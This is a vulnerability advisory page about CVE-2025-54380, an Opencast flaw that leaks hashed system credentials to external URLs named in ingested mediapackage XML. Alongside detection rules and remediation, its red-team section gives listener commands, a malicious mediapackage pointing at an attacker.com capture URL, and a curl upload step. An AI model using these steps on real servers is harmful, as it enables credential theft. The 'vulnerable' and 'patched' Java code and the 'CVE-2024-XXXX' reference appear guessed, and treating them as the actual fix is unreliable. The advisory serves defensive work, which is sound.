CVE-2025-54380
Executive Summary
CVE-2025-54380 is a vulnerability in Opencast, an open-source platform for managing educational audio and video content. The flaw allows an authenticated user with ingest permissions to cause the server to send its hashed global system account credentials (specifically org.opencastproject.security.digest.user and org.opencastproject.security.digest.pass) to an attacker-controlled URL. This occurs when Opencast fetches mediapackage elements from external URLs referenced in a mediapackage XML file. A previous CVE partially addressed this issue, but this variant bypasses those fixes. The vulnerability has a CVSS score of 6.5 (Medium) and is fixed in Opencast 17.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the Opencast Java application. The risk is primarily to self-hosted Opencast instances.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (ingest permissions)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High (hashed credentials exposed)
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. While the confidentiality impact is high, the attacker requires valid ingest permissions, limiting the attack surface to internal or trusted users. The exposed credentials are hashed, but they can be used for further attacks (e.g., offline cracking or replay if the hashing algorithm is weak).
Deep Dive & Mechanics
The vulnerability lies in how Opencast processes mediapackage XML files. A mediapackage can contain references to external elements (e.g., <media> or <track> elements with a url attribute). When Opencast ingests such a package, it attempts to fetch the content from the provided URL. In the vulnerable code path, the HTTP client used for these fetches incorrectly includes the global system account credentials as HTTP Basic Authentication headers.
The credentials are:
org.opencastproject.security.digest.user(username)org.opencastproject.security.digest.pass(hashed password)
These are the credentials used for internal digest authentication between Opencast services. By sending them to an attacker-controlled URL, the attacker can capture the hashed password. The previous CVE (likely CVE-2024-XXXX) fixed some cases (e.g., when the URL was in the <url> element of a <media> element), but this variant exploits other elements or attributes that were missed.
The attack flow:
- Attacker with ingest permissions crafts a mediapackage XML file.
- The XML contains a reference to an external URL (e.g.,
http://attacker.com/capture). - Opencast processes the mediapackage and makes an HTTP request to the attacker's URL.
- The request includes the
Authorization: Basicheader with the hashed credentials. - Attacker captures the credentials.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-17.6):
// In some HTTP client utility or mediapackage processing code
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(elementUrl))
.header("Authorization", "Basic " + Base64.getEncoder().encodeToString(
(digestUser + ":" + digestPass).getBytes()))
.build();
client.send(request, BodyHandlers.ofString());
Patched Code (17.6):
// The fix ensures credentials are only sent to trusted internal URLs
HttpClient client = HttpClient.newHttpClient();
HttpRequest.Builder requestBuilder = HttpRequest.newBuilder()
.uri(URI.create(elementUrl));
// Only add credentials if the URL is internal
if (isInternalUrl(elementUrl)) {
requestBuilder.header("Authorization", "Basic " + Base64.getEncoder().encodeToString(
(digestUser + ":" + digestPass).getBytes()));
}
HttpRequest request = requestBuilder.build();
client.send(request, BodyHandlers.ofString());
The patch adds a check (isInternalUrl()) to ensure credentials are only sent to URLs that are part of the Opencast cluster, not arbitrary external URLs.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid Opencast user account with ingest permissions.
- A server to receive the credentials (e.g., a simple HTTP listener).
Exploitation Steps:
Set up a listener to capture incoming HTTP requests:
nc -lvnp 8080Or use a Python HTTP server:
from http.server import HTTPServer, BaseHTTPRequestHandler class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f"Headers: {self.headers}") self.send_response(200) self.end_headers() HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()Craft a malicious mediapackage XML file:
<?xml version="1.0" encoding="UTF-8"?> <mediapackage id="malicious-package"> <media> <track type="presenter/source"> <url>http://attacker.com:8080/capture</url> </track> </media> </mediapackage>Upload the mediapackage via the Opencast API (e.g., using
curl):curl -u "username:password" -X POST \ -H "Content-Type: application/xml" \ -d @malicious.xml \ http://opencast-server/api/ingestCheck your listener for the captured credentials in the
Authorizationheader.
Blue Team
Detection:
- Monitor outbound HTTP requests from Opencast servers to unknown external IPs.
- Look for
Authorization: Basicheaders in logs (if HTTP request logging is enabled). - Alert on mediapackage ingest events that reference external URLs.
Hunting:
- Search Opencast logs for requests to external URLs containing the string
org.opencastproject.security.digest. - Review recent mediapackage uploads for suspicious external URL references.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests from Opencast server to attacker-controlled IPs/domains.
- Logs: Opencast logs showing
Authorization: Basicheader in requests to external URLs. - Files: Mediapackage XML files containing external URLs in
<url>elements. - Credentials: Hashed credentials (
org.opencastproject.security.digest.pass) appearing in external logs.
Detection Engineering
YARA Rule
rule CVE_2025_54380_Opencast_Credential_Leak {
meta:
description = "Detects mediapackage XML files attempting to exploit CVE-2025-54380"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54380"
strings:
$xml_header = "<mediapackage"
$url_element = "<url>"
$external_url = /http[s]?:\/\/[^\/]+\/capture/
condition:
$xml_header and $url_element and $external_url
}
Sigma Rule
title: Opencast Credential Leak via External URL (CVE-2025-54380)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects outbound HTTP requests from Opencast containing Basic auth headers to external URLs
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: opnsense
detection:
selection:
dest_ip:
- "!10.0.0.0/8"
- "!172.16.0.0/12"
- "!192.168.0.0/16"
http_header:
- "Authorization: Basic *"
condition: selection
falsepositives:
- Legitimate external integrations (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-54380 Opencast Credential Leak Attempt";
flow:to_server,established;
content:"Authorization|3a| Basic";
http_header;
sid:1000001;
rev:1;
reference:cve,2025-54380;
classtype:attempted-recon;
)
Remediation & Mitigation
Immediate:
- Upgrade Opencast to version 17.6 or later.
- If upgrade is not possible, restrict outbound HTTP access from the Opencast server to only trusted internal hosts.
- Review and revoke ingest permissions for users who do not require them.
Long-term:
- Implement network segmentation to prevent Opencast from reaching arbitrary external hosts.
- Enable logging of all HTTP requests made by Opencast for auditing.
- Consider using a web application firewall (WAF) to inspect mediapackage uploads for suspicious URLs.
Workaround:
- Disable the ability to reference external URLs in mediapackages by modifying the Opencast configuration (if possible).
Valters IT